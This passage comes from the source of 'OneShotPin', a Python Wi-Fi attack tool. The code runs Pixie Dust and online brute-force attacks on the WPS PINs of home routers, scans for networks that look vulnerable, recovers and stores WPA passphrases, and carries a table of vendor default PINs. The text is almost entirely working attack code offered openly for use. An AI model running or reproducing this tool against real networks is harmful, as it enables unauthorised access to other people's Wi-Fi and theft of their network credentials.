if 'SSID' in line: 569 | self.connection_status.essid = (codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape') 570 | .encode('latin1').decode('utf-8', errors='replace')) 571 | print('[*] Associating with AP…') 572 | elif ('Associated with' in line) and (self.interface in line): 573 | bssid = line.split()[-1].upper() 574 | if self.connection_status.essid: 575 | print('[+] Associated with {} (ESSID: {})'.format(bssid, self.connection_status.essid)) 576 | else: 577 | print('[+] Associated with {}'.format(bssid)) 578 | elif 'EAPOL: txStart' in line: 579 | self.connection_status.status = 'eapol_start' 580 | print('[*] Sending EAPOL Start…') 581 | elif 'EAP entering state IDENTITY' in line: 582 | print('[*] Received Identity Request') 583 | elif 'using real identity' in line: 584 | print('[*] Sending Identity Response…') 585 | elif pbc_mode and ('selected BSS ' in line): 586 | bssid = line.split('selected BSS ')[-1].split()[0].upper() 587 | self.connection_status.bssid = bssid 588 | print('[*] Selected AP: {}'.format(bssid)) 589 | 590 | return True 591 | 592 | def __runPixiewps(self, showcmd=False, full_range=False): 593 | print("[*] Running Pixiewps…") 594 | cmd = self.pixie_creds.get_pixie_cmd(full_range) 595 | if showcmd: 596 | print(cmd) 597 | r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, 598 | stderr=sys.stdout, encoding='utf-8', errors='replace') 599 | print(r.stdout) 600 | if r.returncode == 0: 601 | lines = r.stdout.splitlines() 602 | for line in lines: 603 | if ('[+]' in line) and ('WPS pin' in line): 604 | pin = line.split(':')[-1].strip() 605 | if pin == '': 606 | pin = "''" 607 | return pin 608 | return False 609 | 610 | def __credentialPrint(self, wps_pin=None, wpa_psk=None, essid=None): 611 | print(f"[+] WPS PIN: '{wps_pin}'") 612 | print(f"[+] WPA PSK: '{wpa_psk}'") 613 | print(f"[+] AP SSID: '{essid}'") 614 | 615 | def __saveResult(self, bssid, essid, wps_pin, wpa_psk): 616 | if not os.path.exists(self.reports_dir): 617 | os.makedirs(self.reports_dir) 618 | filename = self.reports_dir + 'stored' 619 | dateStr = datetime.now().strftime("%d.%m.%Y %H:%M") 620 | with open(filename + '.txt', 'a', encoding='utf-8') as file: 621 | file.write('{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n\n'.format( 622 | dateStr, bssid, essid, wps_pin, wpa_psk 623 | ) 624 | ) 625 | writeTableHeader = not os.path.isfile(filename + '.csv') 626 | with open(filename + '.csv', 'a', newline='', encoding='utf-8') as file: 627 | csvWriter = csv.writer(file, delimiter=';', quoting=csv.QUOTE_ALL) 628 | if writeTableHeader: 629 | csvWriter.writerow(['Date', 'BSSID', 'ESSID', 'WPS PIN', 'WPA PSK']) 630 | csvWriter.writerow([dateStr, bssid, essid, wps_pin, wpa_psk]) 631 | print(f'[i] Credentials saved to {filename}.txt, {filename}.csv') 632 | 633 | def __savePin(self, bssid, pin): 634 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 635 | with open(filename, 'w') as file: 636 | file.write(pin) 637 | print('[i] PIN saved in {}'.format(filename)) 638 | 639 | def __prompt_wpspin(self, bssid): 640 | pins = self.generator.getSuggested(bssid) 641 | if len(pins) > 1: 642 | print(f'PINs generated for {bssid}:') 643 | print('{:<3} {:<10} {:<}'.format('#', 'PIN', 'Name')) 644 | for i, pin in enumerate(pins): 645 | number = '{})'.format(i + 1) 646 | line = '{:<3} {:<10} {:<}'.format( 647 | number, pin['pin'], pin['name']) 648 | print(line) 649 | while 1: 650 | pinNo = input('Select the PIN: ') 651 | try: 652 | if int(pinNo) in range(1, len(pins)+1): 653 | pin = pins[int(pinNo) - 1]['pin'] 654 | else: 655 | raise IndexError 656 | except Exception: 657 | print('Invalid number') 658 | else: 659 | break 660 | elif len(pins) == 1: 661 | pin = pins[0] 662 | print('[i] The only probable PIN is selected:', pin['name']) 663 | pin = pin['pin'] 664 | else: 665 | return None 666 | return pin 667 | 668 | def __wps_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, verbose=None): 669 | if not verbose: 670 | verbose = self.print_debug 671 | self.pixie_creds.clear() 672 | self.connection_status.clear() 673 | self.wpas.stdout.read(300) # Clean the pipe 674 | if pbc_mode: 675 | if bssid: 676 | print(f"[*] Starting WPS push button connection to {bssid}…") 677 | cmd = f'WPS_PBC {bssid}' 678 | else: 679 | print("[*] Starting WPS push button connection…") 680 | cmd = 'WPS_PBC' 681 | else: 682 | print(f"[*] Trying PIN '{pin}'…") 683 | cmd = f'WPS_REG {bssid} {pin}' 684 | r = self.sendAndReceive(cmd) 685 | if 'OK' not in r: 686 | self.connection_status.status = 'WPS_FAIL' 687 | print(self._explain_wpas_not_ok_status(cmd, r)) 688 | return False 689 | 690 | while True: 691 | res = self.__handle_wpas(pixiemode=pixiemode, pbc_mode=pbc_mode, verbose=verbose) 692 | if not res: 693 | break 694 | if self.connection_status.status == 'WSC_NACK': 695 | break 696 | elif self.connection_status.status == 'GOT_PSK': 697 | break 698 | elif self.connection_status.status == 'WPS_FAIL': 699 | break 700 | 701 | self.sendOnly('WPS_CANCEL') 702 | return False 703 | 704 | def single_connection(self, bssid=None, ssid=None, pin=None, pixiemode=False, pbc_mode=False, showpixiecmd=False, 705 | pixieforce=False, store_pin_on_fail=False): 706 | if not pin: 707 | if pixiemode: 708 | try: 709 | # Try using the previously calculated PIN 710 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 711 | with open(filename, 'r') as file: 712 | t_pin = file.readline().strip() 713 | if input('[?] Use previously calculated PIN {}? [n/Y] '.format(t_pin)).lower() != 'n': 714 | pin = t_pin 715 | else: 716 | raise FileNotFoundError 717 | except FileNotFoundError: 718 | pin = '12345670' 719 | elif not pbc_mode: 720 | # If not pixiemode, ask user to select a pin from the list 721 | pin = self.__prompt_wpspin(bssid) or '12345670' 722 | if pbc_mode: 723 | self.__wps_connection(bssid, pbc_mode=pbc_mode) 724 | bssid = self.connection_status.bssid 725 | pin = '' 726 | elif store_pin_on_fail: 727 | try: 728 | self.__wps_connection(bssid, pin, pixiemode) 729 | except KeyboardInterrupt: 730 | print("\nAborting…") 731 | self.__savePin(bssid, pin) 732 | return False 733 | else: 734 | self.__wps_connection(bssid, pin, pixiemode) 735 | 736 | if self.connection_status.status == 'GOT_PSK': 737 | self.__credentialPrint(pin, self.connection_status.wpa_psk, self.connection_status.essid) 738 | if self.save_result: 739 | self.__saveResult(bssid, self.connection_status.essid, pin, self.connection_status.wpa_psk) 740 | if not pbc_mode: 741 | # Try to remove temporary PIN file 742 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 743 | try: 744 | os.remove(filename) 745 | except FileNotFoundError: 746 | pass 747 | return True 748 | elif pixiemode: 749 | if self.pixie_creds.got_all(): 750 | pixiedust_pin = self.__runPixiewps(showpixiecmd, pixieforce) 751 | if pin: 752 | return self.__wps_connection(bssid, pixiedust_pin, pixiemode=False) 753 | return False 754 | else: 755 | print('[!] Not enough data to run Pixie Dust attack') 756 | return False 757 | else: 758 | if store_pin_on_fail: 759 | # Saving Pixiewps calculated PIN if can't connect 760 | self.__savePin(bssid, pin) 761 | return False 762 | 763 | def __first_half_bruteforce(self, bssid, f_half, delay=None): 764 | """ 765 | @f_half — 4-character string 766 | """ 767 | checksum = self.generator.checksum 768 | while int(f_half) < 10000: 769 | t = int(f_half + '000') 770 | pin = '{}000{}'.format(f_half, checksum(t)) 771 | self.single_connection(bssid, pin) 772 | if self.connection_status.isFirstHalfValid(): 773 | print('[+] First half found') 774 | return f_half 775 | elif self.connection_status.status == 'WPS_FAIL': 776 | print('[!] WPS transaction failed, re-trying last pin') 777 | return self.__first_half_bruteforce(bssid, f_half) 778 | f_half = str(int(f_half) + 1).zfill(4) 779 | self.bruteforce.registerAttempt(f_half) 780 | if delay: 781 | time.sleep(delay) 782 | print('[-] First half not found') 783 | return False 784 | 785 | def __second_half_bruteforce(self, bssid, f_half, s_half, delay=None): 786 | """ 787 | @f_half — 4-character string 788 | @s_half — 3-character string 789 | """ 790 | checksum = self.generator.checksum 791 | while int(s_half) < 1000: 792 | t = int(f_half + s_half) 793 | pin = '{}{}{}'.format(f_half, s_half, checksum(t)) 794 | self.single_connection(bssid, pin) 795 | if self.connection_status.last_m_message > 6: 796 | return pin 797 | elif self.connection_status.status == 'WPS_FAIL': 798 | print('[!] WPS transaction failed, re-trying last pin') 799 | return self.__second_half_bruteforce(bssid, f_half, s_half) 800 | s_half = str(int(s_half) + 1).zfill(3) 801 | self.bruteforce.registerAttempt(f_half + s_half) 802 | if delay: 803 | time.sleep(delay) 804 | return False 805 | 806 | def smart_bruteforce(self, bssid, start_pin=None, delay=None): 807 | if (not start_pin) or (len(start_pin) < 4): 808 | # Trying to restore previous session 809 | try: 810 | filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper()) 811 | with open(filename, 'r') as file: 812 | if input('[?] Restore previous session for {}? [n/Y] '.format(bssid)).lower() != 'n': 813 | mask = file.readline().strip() 814 | else: 815 | raise FileNotFoundError 816 | except FileNotFoundError: 817 | mask = '0000' 818 | else: 819 | mask = start_pin[:7] 820 | 821 | try: 822 | self.bruteforce = BruteforceStatus() 823 | self.bruteforce.mask = mask 824 | if len(mask) == 4: 825 | f_half = self.__first_half_bruteforce(bssid, mask, delay) 826 | if f_half and (self.connection_status.status != 'GOT_PSK'): 827 | self.__second_half_bruteforce(bssid, f_half, '001', delay) 828 | elif len(mask) == 7: 829 | f_half = mask[:4] 830 | s_half = mask[4:] 831 | self.__second_half_bruteforce(bssid, f_half, s_half, delay) 832 | raise KeyboardInterrupt 833 | except KeyboardInterrupt: 834 | print("\nAborting…") 835 | filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper()) 836 | with open(filename, 'w') as file: 837 | file.write(self.bruteforce.mask) 838 | print('[i] Session saved in {}'.format(filename)) 839 | if args.loop: 840 | raise KeyboardInterrupt 841 | 842 | def cleanup(self): 843 | self.retsock.close() 844 | self.wpas.terminate() 845 | os.remove(self.res_socket_file) 846 | shutil.rmtree(self.tempdir, ignore_errors=True) 847 | os.remove(self.tempconf) 848 | 849 | def __del__(self): 850 | self.cleanup() 851 | 852 | 853 | class WiFiScanner: 854 | """docstring for WiFiScanner""" 855 | def __init__(self, interface, vuln_list=None): 856 | self.interface = interface 857 | self.vuln_list = vuln_list 858 | 859 | reports_fname = os.path.dirname(os.path.realpath(__file__)) + '/reports/stored.csv' 860 | try: 861 | with open(reports_fname, 'r', newline='', encoding='utf-8', errors='replace') as file: 862 | csvReader = csv.reader(file, delimiter=';', quoting=csv.QUOTE_ALL) 863 | # Skip header 864 | next(csvReader) 865 | self.stored = [] 866 | for row in csvReader: 867 | self.stored.append( 868 | ( 869 | row[1], # BSSID 870 | row[2] # ESSID 871 | ) 872 | ) 873 | except FileNotFoundError: 874 | self.stored = [] 875 | 876 | def checkvuln_from_pin_csv(self, pin_file_path, mac): 877 | with open(pin_file_path, newline='') as csvfile: 878 | reader = csv.reader(csvfile) 879 | for row in reader: 880 | if mac.startswith(row[1]): 881 | return True 882 | 883 | def iw_scanner(self) -> Dict[int, dict]: 884 | """Parsing iw scan results""" 885 | def handle_network(line, result, networks): 886 | networks.append( 887 | { 888 | 'Security type': 'Unknown', 889 | 'WPS': False, 890 | 'WPS locked': False, 891 | 'Model': '', 892 | 'Model number': '', 893 | 'Device name': '' 894 | } 895 | ) 896 | networks[-1]['BSSID'] = result.group(1).upper() 897 | 898 | def handle_essid(line, result, networks): 899 | d = result.group(1) 900 | networks[-1]['ESSID'] = (codecs.decode(d, 'unicode-escape') 901 | .encode('latin1').decode('utf-8', errors='replace')) 902 | 903 | def handle_level(line, result, networks): 904 | networks[-1]['Level'] = int(float(result.group(1))) 905 | 906 | def handle_securityType(line, result, networks): 907 | sec = networks[-1]['Security type'] 908 | if result.group(1) == 'capability': 909 | if 'Privacy' in result.group(2): 910 | sec = 'WEP' 911 | else: 912 | sec = 'Open' 913 | elif sec == 'WEP': 914 | if result.group(1) == 'RSN': 915 | sec = 'WPA2' 916 | elif result.group(1) == 'WPA': 917 | sec = 'WPA' 918 | elif sec == 'WPA': 919 | if result.group(1) == 'RSN': 920 | sec = 'WPA/WPA2' 921 | elif sec == 'WPA2': 922 | if result.group(1) == 'WPA': 923 | sec = 'WPA/WPA2' 924 | networks[-1]['Security type'] = sec 925 | 926 | def handle_wps(line, result, networks): 927 | networks[-1]['WPS'] = result.group(1) 928 | 929 | def handle_wpsLocked(line, result, networks): 930 | flag = int(result.group(1), 16) 931 | if flag: 932 | networks[-1]['WPS locked'] = True 933 | 934 | def handle_model(line, result, networks): 935 | d = result.group(1) 936 | networks[-1]['Model'] = (codecs.decode(d, 'unicode-escape') 937 | .encode('latin1').decode('utf-8', errors='replace')) 938 | 939 | def handle_modelNumber(line, result, networks): 940 | d = result.group(1) 941 | networks[-1]['Model number'] = (codecs.decode(d, 'unicode-escape') 942 | .encode('latin1').decode('utf-8', errors='replace')) 943 | 944 | def handle_deviceName(line, result, networks): 945 | d = result.group(1) 946 | networks[-1]['Device name'] = (codecs.decode(d, 'unicode-escape') 947 | .encode('latin1').decode('utf-8', errors='replace')) 948 | 949 | cmd = 'iw dev {} scan'.format(self.interface) 950 | proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, 951 | stderr=subprocess.STDOUT, encoding='utf-8', errors='replace') 952 | lines = proc.stdout.splitlines() 953 | networks = [] 954 | matchers = { 955 | re.compile(r'BSS (\S+)( )?\(on \w+\)'): handle_network, 956 | re.compile(r'SSID: (.*)'): handle_essid, 957 | re.compile(r'signal: ([+-]?([0-9]*[.])?[0-9]+) dBm'): handle_level, 958 | re.compile(r'(capability): (.+)'): handle_securityType, 959 | re.compile(r'(RSN):\t [*] Version: (\d+)'): handle_securityType, 960 | re.compile(r'(WPA):\t [*] Version: (\d+)'): handle_securityType, 961 | re.compile(r'WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)'): handle_wps, 962 | re.compile(r' [*] AP setup locked: (0x[0-9]+)'): handle_wpsLocked, 963 | re.compile(r' [*] Model: (.*)'): handle_model, 964 | re.compile(r' [*] Model Number: (.*)'): handle_modelNumber, 965 | re.compile(r' [*] Device name: (.*)'): handle_deviceName 966 | } 967 | 968 | for line in lines: 969 | if line.startswith('command failed:'): 970 | print('[!] Error:', line) 971 | return False 972 | line = line.strip('\t') 973 | for regexp, handler in matchers.items(): 974 | res = re.match(regexp, line) 975 | if res: 976 | handler(line, res, networks) 977 | 978 | # Filtering non-WPS networks 979 | networks = list(filter(lambda x: bool(x['WPS']), networks)) 980 | if not networks: 981 | return False 982 | 983 | # Sorting by signal level 984 | networks.sort(key=lambda x: x['Level'], reverse=True) 985 | 986 | # Putting a list of networks in a dictionary, where each key is a network number in list of networks 987 | network_list = {(i + 1): network for i, network in enumerate(networks)} 988 | 989 | # Printing scanning results as table 990 | def truncateStr(s, length, postfix='…'): 991 | """ 992 | Truncate string with the specified length 993 | @s — input string 994 | @length — length of output string 995 | """ 996 | if len(s) > length: 997 | k = length - len(postfix) 998 | s = s[:k] + postfix 999 | return s 1000 | 1001 | def colored(text, color=None): 1002 | """Returns colored text""" 1003 | if color: 1004 | if color == 'green': 1005 | text = '\033[92m{}\033[00m'.format(text) 1006 | elif color == 'red': 1007 | text = '\033[91m{}\033[00m'.format(text) 1008 | elif color == 'yellow': 1009 | text = '\033[93m{}\033[00m'.format(text) 1010 | else: 1011 | return text 1012 | else: 1013 | return text 1014 | return text 1015 | 1016 | if self.vuln_list: 1017 | print('Network marks: {1} {0} {2} {0} {3}'.format( 1018 | '|', 1019 | colored('Possibly vulnerable', color='green'), 1020 | colored('WPS locked', color='red'), 1021 | colored('Already stored', color='yellow') 1022 | )) 1023 | print('Networks list:') 1024 | print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format( 1025 | '#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model')) 1026 | 1027 | network_list_items = list(network_list.items()) 1028 | if args.reverse_scan: 1029 | network_list_items = network_list_items[::-1] 1030 | for n, network in network_list_items: 1031 | number = f'{n})' 1032 | model = '{} {}'.format(network['Model'], network['Model number']) 1033 | essid = truncateStr(network.get('ESSID', 'UNKNOWN ESSID'), 25) 1034 | deviceName = truncateStr(network['Device name'], 27) 1035 | line = '{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format( 1036 | number, network['BSSID'], essid, 1037 | network['Security type'], network['Level'], 1038 | deviceName, model 1039 | ) 1040 | if (network['BSSID'], network.get('ESSID', '')) in self.stored: 1041 | print(colored(line, color='yellow')) 1042 | elif network['WPS locked']: 1043 | print(colored(line, color='red')) 1044 | elif ((self.vuln_list and (model in self.vuln_list)) 1045 | or self.checkvuln_from_pin_csv(os.path.join(os.path.dirname(os.path.realpath(__file__)), 1046 | 'pins.csv'), network['BSSID'])): 1047 | print(colored(line, color='green')) 1048 | proc = subprocess.Popen('termux-vibrate -f', shell=True) 1049 | proc = subprocess.Popen('play-audio knock.ogg', shell=True) 1050 | else: 1051 | print(line) 1052 | 1053 | return network_list 1054 | 1055 | def prompt_network(self) -> tuple: 1056 | networks = self.iw_scanner() 1057 | if not networks: 1058 | print('[-] No WPS networks found.') 1059 | return 1060 | while 1: 1061 | try: 1062 | networkNo = input('Select target (press Enter to refresh): ') 1063 | if networkNo.lower() in ('r', '0', ''): 1064 | return self.prompt_network() 1065 | elif int(networkNo) in networks.keys(): 1066 | if networks[int(networkNo)]['ESSID'] is None: 1067 | return networks[int(networkNo)]['BSSID'] 1068 | else: 1069 | return networks[int(networkNo)]['BSSID'], networks[int(networkNo)]['ESSID'] 1070 | else: 1071 | raise IndexError 1072 | except Exception: 1073 | print('Invalid number') 1074 | 1075 | 1076 | def ifaceUp(iface, down=False): 1077 | if down: 1078 | action = 'down' 1079 | else: 1080 | action = 'up' 1081 | cmd = 'ip link set {} {}'.format(iface, action) 1082 | res = subprocess.run(cmd, shell=True, stdout=sys.stdout, stderr=sys.stdout) 1083 | if res.returncode == 0: 1084 | return True 1085 | else: 1086 | return False 1087 | 1088 | 1089 | def die(msg): 1090 | sys.stderr.write(msg + '\n') 1091 | sys.exit(1) 1092 | 1093 | 1094 | def usage(): 1095 | return """ 1096 | OneShotPin 0.0.2 (c) 2017 rofl0r, drygdryg and fulvius31 1097 | 1098 | %(prog)s 1099 | 1100 | Required arguments: 1101 | -i, --interface= : Name of the interface to use 1102 | 1103 | Optional arguments: 1104 | -b, --bssid= : BSSID of the target AP 1105 | -s, --ssid= : SSID of the target AP 1106 | -p, --pin= : Use the specified pin (arbitrary string or 4/8 digit pin) 1107 | -K, --pixie-dust : Run Pixie Dust attack 1108 | -B, --bruteforce : Run online bruteforce attack 1109 | --push-button-connect : Run WPS push button connection 1110 | 1111 | Advanced arguments: 1112 | -d, --delay= : Set the delay between pin attempts [0] 1113 | -w, --write : Write AP credentials to the file on success 1114 | -F, --pixie-force : Run Pixiewps with --force option (bruteforce full range) 1115 | -X, --show-pixie-cmd : Always print Pixiewps command 1116 | --vuln-list= : Use custom file with vulnerable devices list ['vulnwsc.txt'] 1117 | --iface-down : Down network interface when the work is finished 1118 | -l, --loop : Run in a loop 1119 | -r, --reverse-scan : Reverse order of networks in the list of networks. Useful on small displays 1120 | --mtk-wifi : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit 1121 | (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this. 1122 | -v, --verbose : Verbose output 1123 | 1124 | Example: 1125 | %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K 1126 | """ 1127 | 1128 | 1129 | if __name__ == '__main__': 1130 | import argparse 1131 | 1132 | parser = argparse.ArgumentParser( 1133 | description='OneShotPin 0.0.2 (c) 2017 rofl0r, drygdryg and fulvius31', 1134 | epilog='Example: %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K' 1135 | ) 1136 | 1137 | parser.add_argument( 1138 | '-i', '--interface', 1139 | type=str, 1140 | required=True, 1141 | help='Name of the interface to use' 1142 | ) 1143 | parser.add_argument( 1144 | '-b', '--bssid', 1145 | type=str, 1146 | help='BSSID of the target AP' 1147 | ) 1148 | parser.add_argument( 1149 | '-s', '--ssid', 1150 | type=str, 1151 | help='SSID of the target AP' 1152 | ) 1153 | parser.add_argument( 1154 | '-p', '--pin', 1155 | type=str, 1156 | help='Use the specified pin (arbitrary string or 4/8 digit pin)' 1157 | ) 1158 | parser.add_argument( 1159 | '-K', '--pixie-dust', 1160 | action='store_true', 1161 | help='Run Pixie Dust attack' 1162 | ) 1163 | parser.add_argument( 1164 | '-F', '--pixie-force', 1165 | action='store_true', 1166 | help='Run Pixiewps with --force option (bruteforce full range)' 1167 | ) 1168 | parser.add_argument( 1169 | '-X', '--show-pixie-cmd', 1170 | action='store_true', 1171 | help='Always print Pixiewps command' 1172 | ) 1173 | parser.add_argument( 1174 | '-B', '--bruteforce', 1175 | action='store_true', 1176 | help='Run online bruteforce attack' 1177 | ) 1178 | parser.add_argument( 1179 | '--pbc', '--push-button-connect', 1180 | action='store_true', 1181 | help='Run WPS push button connection' 1182 | ) 1183 | parser.add_argument( 1184 | '-d', '--delay', 1185 | type=float, 1186 | help='Set the delay between pin attempts' 1187 | ) 1188 | parser.add_argument( 1189 | '-w', '--write', 1190 | action='store_true', 1191 | help='Write credentials to the file on success' 1192 | ) 1193 | parser.add_argument( 1194 | '--iface-down', 1195 | action='store_true', 1196 | help='Down network interface when the work is finished' 1197 | ) 1198 | parser.add_argument( 1199 | '--vuln-list', 1200 | type=str, 1201 | default=os.path.dirname(os.path.realpath(__file__)) + '/vulnwsc.txt', 1202 | help='Use custom file with vulnerable devices list' 1203 | ) 1204 | parser.add_argument( 1205 | '-l', '--loop', 1206 | action='store_true', 1207 | help='Run in a loop' 1208 | ) 1209 | parser.add_argument( 1210 | '-r', '--reverse-scan', 1211 | action='store_true', 1212 | help='Reverse order of networks in the list of networks. Useful on small displays' 1213 | ) 1214 | parser.add_argument( 1215 | '--mtk-wifi', 1216 | action='store_true', 1217 | help='Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit ' 1218 | '(for internal Wi-Fi adapters implemented in MediaTek SoCs). ' 1219 | 'Turn off Wi-Fi in the system settings before using this.' 1220 | ) 1221 | parser.add_argument( 1222 | '-v', '--verbose', 1223 | action='store_true', 1224 | help='Verbose output' 1225 | ) 1226 | 1227 | args = parser.parse_args() 1228 | 1229 | if sys.hexversion < 0x03060F0: 1230 | die("The program requires Python 3.6 and above") 1231 | if os.getuid() != 0: 1232 | die("Run it as root") 1233 | 1234 | if args.mtk_wifi: 1235 | wmtWifi_device = Path("/dev/wmtWifi") 1236 | if not wmtWifi_device.is_char_device(): 1237 | die("Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): " 1238 | "/dev/wmtWifi does not exist or it is not a character device") 1239 | wmtWifi_device.chmod(0o644) 1240 | wmtWifi_device.write_text("1") 1241 | 1242 | if not ifaceUp(args.interface): 1243 | die('Unable to up interface "{}"'.format(args.interface)) 1244 | 1245 | while True: 1246 | try: 1247 | companion = Companion(args.interface, args.write, print_debug=args.verbose) 1248 | if args.pbc: 1249 | companion.single_connection(pbc_mode=True) 1250 | else: 1251 | if not args.bssid: 1252 | try: 1253 | with open(args.vuln_list, 'r', encoding='utf-8') as file: 1254 | vuln_list = file.read().splitlines() 1255 | except FileNotFoundError: 1256 | vuln_list = [] 1257 | scanner = WiFiScanner(args.interface, vuln_list) 1258 | if not args.loop: 1259 | print('[*] BSSID not specified (--bssid) — scanning for available networks') 1260 | 1261 | network_info = scanner.prompt_network() 1262 | if network_info: 1263 | args.bssid = network_info[0] 1264 | args.ssid = network_info[1] if len(network_info) > 1 else None 1265 | if args.bssid: 1266 | companion = Companion(args.interface, args.write, print_debug=args.verbose) 1267 | if args.bruteforce: 1268 | companion.smart_bruteforce(args.bssid, args.pin, args.delay) 1269 | else: 1270 | companion.single_connection(bssid=args.bssid, ssid=args.ssid, pin=args.pin, 1271 | pixiemode=args.pixie_dust,showpixiecmd=args.show_pixie_cmd, 1272 | pixieforce=args.pixie_force) 1273 | if not args.loop: 1274 | break 1275 | else: 1276 | args.bssid = None 1277 | except KeyboardInterrupt: 1278 | if args.loop: 1279 | if input("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ").lower() == 'y': 1280 | print("Aborting…") 1281 | break 1282 | else: 1283 | args.bssid = None 1284 | else: 1285 | print("\nAborting…") 1286 | break 1287 | 1288 | if args.iface_down: 1289 | ifaceUp(args.interface, down=True) 1290 | 1291 | if args.mtk_wifi: 1292 | wmtWifi_device.write_text("0") 1293 | -------------------------------------------------------------------------------- /oneshot1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import subprocess 5 | import os 6 | import tempfile 7 | import shutil 8 | import re 9 | import codecs 10 | import socket 11 | import pathlib 12 | import time 13 | from datetime import datetime 14 | import collections 15 | import statistics 16 | import csv 17 | from typing import Dict 18 | 19 | 20 | class NetworkAddress: 21 | def __init__(self, mac): 22 | if isinstance(mac, int): 23 | self._int_repr = mac 24 | self._str_repr = self._int2mac(mac) 25 | elif isinstance(mac, str): 26 | self._str_repr = mac.replace('-', ':').replace('.', ':').upper() 27 | self._int_repr = self._mac2int(mac) 28 | else: 29 | raise ValueError('MAC address must be string or integer') 30 | 31 | @property 32 | def string(self): 33 | return self._str_repr 34 | 35 | @string.setter 36 | def string(self, value): 37 | self._str_repr = value 38 | self._int_repr = self._mac2int(value) 39 | 40 | @property 41 | def integer(self): 42 | return self._int_repr 43 | 44 | @integer.setter 45 | def integer(self, value): 46 | self._int_repr = value 47 | self._str_repr = self._int2mac(value) 48 | 49 | def __int__(self): 50 | return self.integer 51 | 52 | def __str__(self): 53 | return self.string 54 | 55 | def __iadd__(self, other): 56 | self.integer += other 57 | 58 | def __isub__(self, other): 59 | self.integer -= other 60 | 61 | def __eq__(self, other): 62 | return self.integer == other.integer 63 | 64 | def __ne__(self, other): 65 | return self.integer != other.integer 66 | 67 | def __lt__(self, other): 68 | return self.integer < other.integer 69 | 70 | def __gt__(self, other): 71 | return self.integer > other.integer 72 | 73 | @staticmethod 74 | def _mac2int(mac): 75 | return int(mac.replace(':', ''), 16) 76 | 77 | @staticmethod 78 | def _int2mac(mac): 79 | mac = hex(mac).split('x')[-1].upper() 80 | mac = mac.zfill(12) 81 | mac = ':'.join(mac[i:i+2] for i in range(0, 12, 2)) 82 | return mac 83 | 84 | def __repr__(self): 85 | return 'NetworkAddress(string={}, integer={})'.format( 86 | self._str_repr, self._int_repr) 87 | 88 | 89 | class WPSpin: 90 | """WPS pin generator""" 91 | def __init__(self): 92 | self.ALGO_MAC = 0 93 | self.ALGO_EMPTY = 1 94 | self.ALGO_STATIC = 2 95 | 96 | self.algos = {'pin24': {'name': '24-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin24}, 97 | 'pin28': {'name': '28-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin28}, 98 | 'pin32': {'name': '32-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin32}, 99 | 'pinDLink': {'name': 'D-Link PIN', 'mode': self.ALGO_MAC, 'gen': self.pinDLink}, 100 | 'pinDLink1': {'name': 'D-Link PIN +1', 'mode': self.ALGO_MAC, 'gen': self.pinDLink1}, 101 | 'pinASUS': {'name': 'ASUS PIN', 'mode': self.ALGO_MAC, 'gen': self.pinASUS}, 102 | 'pinAirocon': {'name': 'Airocon Realtek', 'mode': self.ALGO_MAC, 'gen': self.pinAirocon}, 103 | # Static pin algos 104 | 'pinEmpty': {'name': 'Empty PIN', 'mode': self.ALGO_EMPTY, 'gen': lambda mac: ''}, 105 | 'pinCisco': {'name': 'Cisco', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 1234567}, 106 | 'pinBrcm1': {'name': 'Broadcom 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 2017252}, 107 | 'pinBrcm2': {'name': 'Broadcom 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4626484}, 108 | 'pinBrcm3': {'name': 'Broadcom 3', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 7622990}, 109 | 'pinBrcm4': {'name': 'Broadcom 4', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6232714}, 110 | 'pinBrcm5': {'name': 'Broadcom 5', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 1086411}, 111 | 'pinBrcm6': {'name': 'Broadcom 6', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3195719}, 112 | 'pinAirc1': {'name': 'Airocon 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3043203}, 113 | 'pinAirc2': {'name': 'Airocon 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 7141225}, 114 | 'pinDSL2740R': {'name': 'DSL-2740R', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6817554}, 115 | 'pinRealtek1': {'name': 'Realtek 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9566146}, 116 | 'pinRealtek2': {'name': 'Realtek 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9571911}, 117 | 'pinRealtek3': {'name': 'Realtek 3', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4856371}, 118 | 'pinUpvel': {'name': 'Upvel', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 2085483}, 119 | 'pinUR814AC': {'name': 'UR-814AC', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4397768}, 120 | 'pinUR825AC': {'name': 'UR-825AC', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 529417}, 121 | 